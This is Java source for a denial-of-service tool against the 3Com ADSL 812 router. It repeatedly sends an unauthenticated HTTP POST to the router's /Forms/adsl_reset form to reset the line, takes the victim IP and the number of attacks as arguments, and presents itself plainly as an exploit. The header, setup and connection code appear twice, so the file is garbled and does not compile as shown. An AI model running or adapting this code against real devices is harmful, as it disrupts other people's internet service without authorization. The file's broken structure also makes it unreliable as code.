// Denial Of Service for 3com ADSL 812 router
// You can reset ADSL router without password
// Vulnerability description: http://www.securityfocus.com/archive/1/184665
// usage : java DoSadsl server
// by mAgnEtIc

import java.net.*;
import java.io.*;

public class DoSadsl812 {



    public static void main(String[] args) {

        int port = 80;
        int delay= 18000;//time to sleep while router is down
        int loops=100;//number of
        int i;
        String server = "localhost";
        Socket socket = null;
        String lineToBeSent;
        BufferedReader input;
        PrintWriter output;
        int ERROR = 1;

        // read arguments
        if(args.length == 2) {
            server = args[0];
            loops =Integer.parseInt(args[1]);
        }
        else{
            System.out.println("Usage: java DoSadsl812 ip_victim number_attacks\n\nmAgNeTiC 2K+1\nGreetings to www.eupla.org");
            System.exit(ERROR);
        }
        for (i=0;i<loops;i++)
        {

        // connect to server
        try {
            socket = new Socket(server, port);
            System.out.println("Socket Created " +
                                   socket.getInetAddress() +
                                   ":" + socket.getPort());
        }
        catch (UnknownHostException e) {
            System.out.println(e);
            System.exit(ERROR);
        }
        catch (IOException e) {
            System.out.println("mmm, i think is a not vulnerable router xDD");
            System.exit(ERROR);
        }
// Denial Of Service for 3com ADSL 812 router
// You can reset ADSL router without password
// Vulnerability description: http://www.securityfocus.com/archive/1/184665
// usage : java DoSadsl server
// by mAgnEtIc

import java.net.*;
import java.io.*;

public class DoSadsl812 {



    public static void main(String[] args) {

        int port = 80;
        int delay= 18000;//time to sleep while router is down
        int loops=100;//number of
        int i;
        String server = "localhost";
        Socket socket = null;
        String lineToBeSent;
        BufferedReader input;
        PrintWriter output;
        int ERROR = 1;

        // read arguments
        if(args.length == 2) {
            server = args[0];
            loops =Integer.parseInt(args[1]);
        }
        else{
            System.out.println("Usage: java DoSadsl812 ip_victim number_attacks\n\nmAgNeTiC 2K+1\nGreetings to www.eupla.org");
            System.exit(ERROR);
        }
        for (i=0;i<loops;i++)
        {

        // connect to server
        try {
            socket = new Socket(server, port);
            System.out.println("Socket Created " +
                                   socket.getInetAddress() +
                                   ":" + socket.getPort());
        }
        catch (UnknownHostException e) {
            System.out.println(e);
            System.exit(ERROR);
        }
        catch (IOException e) {
            System.out.println("mmm, i think is a not vulnerable router xDD");
            System.exit(ERROR);
        }
 lineToBeSent=new String("POST /Forms/adsl_reset HTTP/1.1\n"
                               +"Host: " + server +"\n"
                               +"Connection: close\nContent-Length: 19\n\n"
                               +"Submit=Reset%20Line\n");

            System.out.println("\nPOSTing xploit....\n");
        try {
            output = new PrintWriter(socket.getOutputStream(),true);

            output.println(lineToBeSent);
        }
        catch (IOException e) {
            System.out.println(e);
        }


        try {
            Thread.sleep(delay);
            } catch(InterruptedException e) { }

        System.out.println("Wake Up\n");
        try {
            socket.close();
        }
        catch (IOException e) {
            System.out.println(e);
        }

        }//efor
    }
}
